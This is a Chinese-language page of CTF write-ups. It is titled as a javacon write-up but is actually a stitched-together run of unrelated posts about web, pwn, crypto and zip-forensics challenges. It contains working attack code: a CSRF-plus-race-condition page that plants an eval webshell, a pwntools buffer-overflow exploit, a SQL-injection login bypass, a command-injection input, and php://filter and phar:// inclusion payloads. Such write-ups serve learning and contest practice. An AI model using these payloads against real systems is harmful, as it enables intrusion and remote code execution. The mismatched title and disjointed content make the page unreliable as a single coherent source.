Code-Breaking Puzzles — javacon WriteUp
刷微博正好看到P神的活动,学习了。
- javacon
- 难度:medium
- 源代码:https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar
- URL:http://51.158.75.42:8081/
where are you
刷微博正好看到P神的活动,学习了。
浙江首届大学生CTF比赛,大型网友线下见面活动,主要过来和师傅们学习下。
分享下比赛时候做出的题目和复现时放出的隐藏题目的做法以及思路。
首先感谢下安恒举办的比赛,还有大神们的讲解,学习了

发现.git泄漏,拿到源码

发现上传文件,代码审计

if(!isset($_SESSION['user']) || $_SESSION['user'] != USERNAME){
die('Access Denied');
}
...
...
$ext = getExt($_FILES['file']['name']);
$filename = './upload/temp/'.$flid.$ext;
$dst = './upload/images/'.$flid.'.jpg';
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
if(file_exists($filename)){
try {
if(file_exists($dst))
@unlink($dst);
resizeimg($filename, $dst, 100, 50);
}catch(Exception $e){
echo 'Caught exception: ', $e->getMessage(), "\n";
}
}
发现upload.php里面的条件竞争漏洞,先上传文件再删除文件。但是程序开头会检查权限,需要登录后才能操作。因此解题思路为结合CSRF+条件竞争。
因为程序添加友情链接时候会先去访问这个文件

所以我们可以写个自动上传文件的js,利用csrf去上传绕过user判断,然后利用时间差,在还没删除temp文件时快速去访问/temp上传成功的php,并自动创建一个一句话shell
poc:
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://http://192.168.5.76/upload.php?"+Math.random(), true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en,zh-CN;q=0.9,zh;q=0.8");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryfJEbEkHoV22zBdaM");
xhr.withCredentials = "true";
var body = "------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"321.php\"\r\n" +
"Content-Type: application/x-php\r\n" +
"\r\n" +
"<?php file_put_contents('abc.php', '<?php eval($_GET[a]);?>');?>\r\n" +
"\r\n" +
"------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
"Content-Disposition: form-data; name=\"flid\"\r\n" +
"\r\n" +
"1\r\n" +
"------WebKitFormBoundaryfJEbEkHoV22zBdaM\r\n" +
"Content-Disposition: form-data; name=\"submit\"\r\n" +
"\r\n" +
"上传\r\n" +
"------WebKitFormBoundaryfJEbEkHoV22zBdaM--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
<script>
var html = '';
for(var k=0; k<1000; k++){
html = html + '<script>submitRequest();<\/script>';
}
document.write(html);
</script>
</body>
</html>


ssh连上

找到fd的源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[])
{
if(argc<2)
{
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);if(!strcmp("LETMEWIN\n", buf))
{
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
首先,程序接收一个参数argv[1],转换为整数型之后减0x1234 ,读入buf ,比较是否与LETMEWIN相同,如果相同则get flag
read函数
ssize_t read(int fd,void * buf ,size_t count);
read()会把参数fd所指的文件传送nbyte个字节到buf指针所指的内存中。若参数nbyte为0,则read()不会有作用并返回0。返回值为实际读取到的字节数,如果返回0,表示已到达文件尾或无可读取的数据。错误返回-1,并将根据不同的错误原因适当的设置错误码。
linux文件描述符
| Integer value | <stdio.h> file stream |
|---|---|
| 0 | stdin |
| 1 | stdout |
| 2 | stderr |
也就是我们可以令fd=0 使得标准输入,buf的值就可以键入了
又因为
int fd = atoi( argv[1] ) - 0x1234;
所以我们令fd=0x1234的10进制4660然后键入LETMEWIN

先看代码
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
分析源码,首先输入长度为20的字符然后与关键函数check_password比较
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
p强制转化为指针,32位下指针一般与char的大小相同,所以相当于分成5组(char1个字节,int4个字节)
然后把每四个字符看成一共int型的数字,进行5次循环相加,结果放入res中
最后符合hashcode = 0x21DD09EC; 拆分一下符合20长度限制,如下
>>> hex(0x21dd09ec-0x01010101*4) '0x1dd905e8'
注意下是小端模式
./col $(python -c "print'\xE8\x05\xD9\x1D'+'\x01'*16")
![]()
给的源码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key)
{
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe)
{
system("/bin/sh");
}
else
{
printf("Nah..\n");
}
}
int main(int argc, char* argv[])
{
func(0xdeadbeef);
return 0;
}
key == 0xcafebabe 即可拿到shell但实际传的key为0xdeadbeef
又看到gets 可以溢出
IDA打开编译好的c


发现char s //[sp + 1Ch] [bp – 2Ch]说明,这个字符串s 是从[bp – 2Ch]处开始进入栈缓冲区的,所以我们只要覆盖2C字节,再加上EBP和EIP的8个字节,总共52个字节就可以成功覆盖第一个变量,也就是func里面的参数覆盖为0xcafebabe
这里盗个图方便理解

所以EXP为
from pwn import *
p = remote('pwnable.kr',9000)
p.send('A'*52+'\xbe\xba\xfe\xca')
p.interactive()

拿到flag

比较经典的文件包含题,记录一下
首先看phpinfo里allow_url_include为On
所以可以使用php://input包含执行命令
<?php system(ls);?>

关键文件在dle345aae.php
配合
php://filter/convert.base64-encode/resource=dle345aae.php
读取源码

<?php
$flag="flag{3da178f7-c351-4acc-b6c1-0b0719f4ec9e}";

这里用到PHP超全局变量
$GLOBALS — 引用全局作用域中可用的全部变量
$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。
PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。
payload:
http://4687f7fdd5d64157a0dea153446a49728bbc8a7ce1bd49c6.game.ichunqiu.com/?hello=GLOBALS


代码注入一下就ok
?hello=);system(ls);//
看来只有flag.php
然后我们直接输出源码就行
比较坑的是i春秋带了waf…我们改成post再传个值绕过

水过..
最近准备刷一下实验吧的题,抽空做个小记录
题目连接:http://ctf5.shiyanbar.com/web/5/index.php
题目就是登陆成功用户后获得flag
首先获得php源码
<html>
<head>
welcome to simplexue
</head>
<body>
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>
其中
$sql = "select pw from php where user='$user'";
显然可以注入
接着往下看
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
这里把sql语句执行得到的数据放到row 并且判断其中的pw是否与输入的md5($_POST[pass]);相等
因为这里把用户和密码的判断分开 所以我们没法按常规注释掉密码的sql判断
但是因为row的数组结果是之前$sql的语句,所以我们其实可以通过sql注入生成一个密码来绕过
那就好办了,首先先试出来用户名为username
接下来构造sql语句
username' union select md5(123)#
密码处填写123 成功拿到flag

一般是缺少文件头,也有情况缺少头和尾…
zip的数据信息:
压缩源文件数据区 50 4B 03 04:这是头文件标记(0x04034b50) 14 00:解压文件所需 pkware 版本 00 00:全局方式位标记(有无加密) 08 00:压缩方式 5A 7E:最后修改文件时间 F7 46:最后修改文件日期 16 B5 80 14:CRC-32校验(1480B516) 19 00 00 00:压缩后尺寸(25) 17 00 00 00:未压缩尺寸(23) 07 00:文件名长度 00 00:扩展记录长度 6B65792E7478740BCECC750E71ABCE48CDC9C95728CECC2DC849AD284DAD0500 压缩源文件目录区 50 4B 01 02:目录中文件文件头标记(0x02014b50) 3F 00:压缩使用的 pkware 版本 14 00:解压文件所需 pkware 版本 00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了) 08 00:压缩方式 5A 7E:最后修改文件时间 F7 46:最后修改文件日期 16 B5 80 14:CRC-32校验(1480B516) 19 00 00 00:压缩后尺寸(25) 17 00 00 00:未压缩尺寸(23) 07 00:文件名长度 24 00:扩展字段长度 00 00:文件注释长度 00 00:磁盘开始号 00 00:内部文件属性 20 00 00 00:外部文件属性 00 00 00 00:局部头部偏移量 6B65792E7478740A00200000000000010018006558F04A1CC5D001BDEBDD3B1CC5D001BDEBDD3B1CC5D001 压缩源文件目录结束标志 50 4B 05 06:目录结束标记 00 00:当前磁盘编号 00 00:目录区开始磁盘编号 01 00:本磁盘上纪录总数 01 00:目录区中纪录总数 59 00 00 00:目录区尺寸大小 3E 00 00 00:目录区对第一张磁盘的偏移量 00 00:ZIP 文件注释长度
维吉尼亚密码(Vigenère Cipher)是在单一恺撒密码的基础上扩展出多表代换密码,根据密钥(当密钥长度小于明文长度时可以循环使用)来决定用哪一行的密表来进行替换,以此来对抗字频统计.
密表:

最近又水了一个CTF,分享一道web题

打开界面可以看到需要输入一个ip地址 会返回ping结果 所以可以尝试 | 来执行下一个命令 但发现被过滤了
换一个方法
127.0.0.1&dir

找到上传入口

可以看到一个上传和查看源码
查看源码利用的
you_find_upload.php?p=php://filter/convert.base64-encode/resource=you_find_upload
base64解密
<?php
/**
* Created by PhpStorm.
* User: xnianq
* Date: 2017/10/19
* Time: 上午11:24
*/
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>this_is_upload_page</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="">
<meta name="author" content="">
<!-- Le styles -->
<link href="../css/bootstrap.css" rel="stylesheet">
<style>
body {
padding-top: 60px; /* 60px to make the container go all the way to the bottom of the topbar */
}
</style>
<link href="../css/bootstrap-responsive.css" rel="stylesheet">
<link rel="apple-touch-icon-precomposed" sizes="144x144" href="./ico/apple-touch-icon-144-precomposed.png">
<link rel="apple-touch-icon-precomposed" sizes="114x114" href="./ico/apple-touch-icon-114-precomposed.png">
<link rel="apple-touch-icon-precomposed" sizes="72x72" href="./ico/apple-touch-icon-72-precomposed.png">
<link rel="apple-touch-icon-precomposed" href="./ico/apple-touch-icon-57-precomposed.png">
<link rel="shortcut icon" href="./ico/favicon.png">
</head>
<body>
<div class="navbar navbar-inverse navbar-fixed-top">
<div class="navbar-inner">
<div class="container">
<button type="button" class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="brand" href="#">C1sec工具体验</a>
<div class="nav-collapse collapse">
<ul class="nav">
<li ><a href="index.php">Home</a></li>
<li ><a href="ping.php">ping</a></li>
<li ><a href="you_find_upload.php?p=php://filter/convert.base64-encode/resource=you_find_upload">查看源码</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</div>
</div>
<div class="container">
<h1>少年你还是找到了这里,这才是本次攻击的重点 :)</h1>
<form action="you_find_upload.php" method="POST" enctype="multipart/form-data">
<label>Select image to upload:</label>
<input type="file" name="file">
<button type="submit" class="btn" name="submit">upload</button>
<pre>
<?php
$type = array('gif','jpg','png');
mt_srand((time() % rand(1,100000)%rand(1000,9000)));
echo mt_rand();
if (isset($_POST['submit'])) {
$check = getimagesize($_FILES['file']['tmp_name']);
@$extension = end(explode('.',$_FILES['file']['name']));//后缀
if(in_array($extension,$type)){
echo 'File is an image - ' . $check['mime'];//内容头
$filename = '/var/www/html/web1/upload/'.mt_rand().'_'.$_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $filename);
echo "<br>\n";
} else {
echo "File is not an image";
}
}
if(isset($_GET['p'])){
if(@preg_match("/\.\.\//",$_GET['p'])){
echo "你这个孩子,too young too simple";
}
else{
@include $_GET['p'].".php";
}
}
?>
</pre>
</form>
</div> <!-- /container -->
<!-- Le javascript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="../js/jquery-3.2.1.min.js"></script>
</body>
</html>
首先可以看到后端对文件后缀做了白名单验证 加上php版本都没有解析漏洞 最后试了好多方法 半夜想到可以试试伪协议,因为下面可以用文件包含来使用绕过,两种问题必须配合用才可以(感觉好多web题都涉及开伪协议了)
常见php伪协议:
* file:// — 访问本地文件系统
* http:// — 访问 HTTP(s) 网址
* ftp:// — 访问 FTP(s) URLs
* php:// — 访问各个输入/输出流(I/O streams)
* zlib:// — 压缩流
* data:// — 数据(RFC 2397)
* glob:// — 查找匹配的文件路径模式
* phar:// — PHP 归档
* ssh2:// — Secure Shell 2
* rar:// — RAR
* ogg:// — 音频流
* expect:// — 处理交互式的流
所以我们可以写一个读取flag的1.php
<?php
$file = fopen('../../../../../../../../etc/flag.txt','r');
if($file){
while(!feof($file)){
$line = fgetc($file);
echo $line;
}
}
fclose($file);
?>
然后压缩为zip
上传时修改后缀为.png 但type的zip类型不要改

上传成功,继续往下看代码
mt_srand((time() % rand(1,100000)%rand(1000,9000)));
设置了一个文件名的随机数
学长帮写了一个爆破程序

爆破出来 文件名假设最后为305005900_1.png
然后..
继续看代码
else{
@include $_GET['p'].".php";
}
一个文件包含,最后会自动加上.php,这也是比较纠结的一个点,最后的解决办法就是上面说的可以配合伪协议使用
(题目的难点就是只能上传图片后缀的文件,但却只能读取.php的文件)
所以最后利用phar解里面的1.php
构造的payload为:
http://xxxx/web1/you_find_upload.php?p=phar://upload/305005900_1.png/1
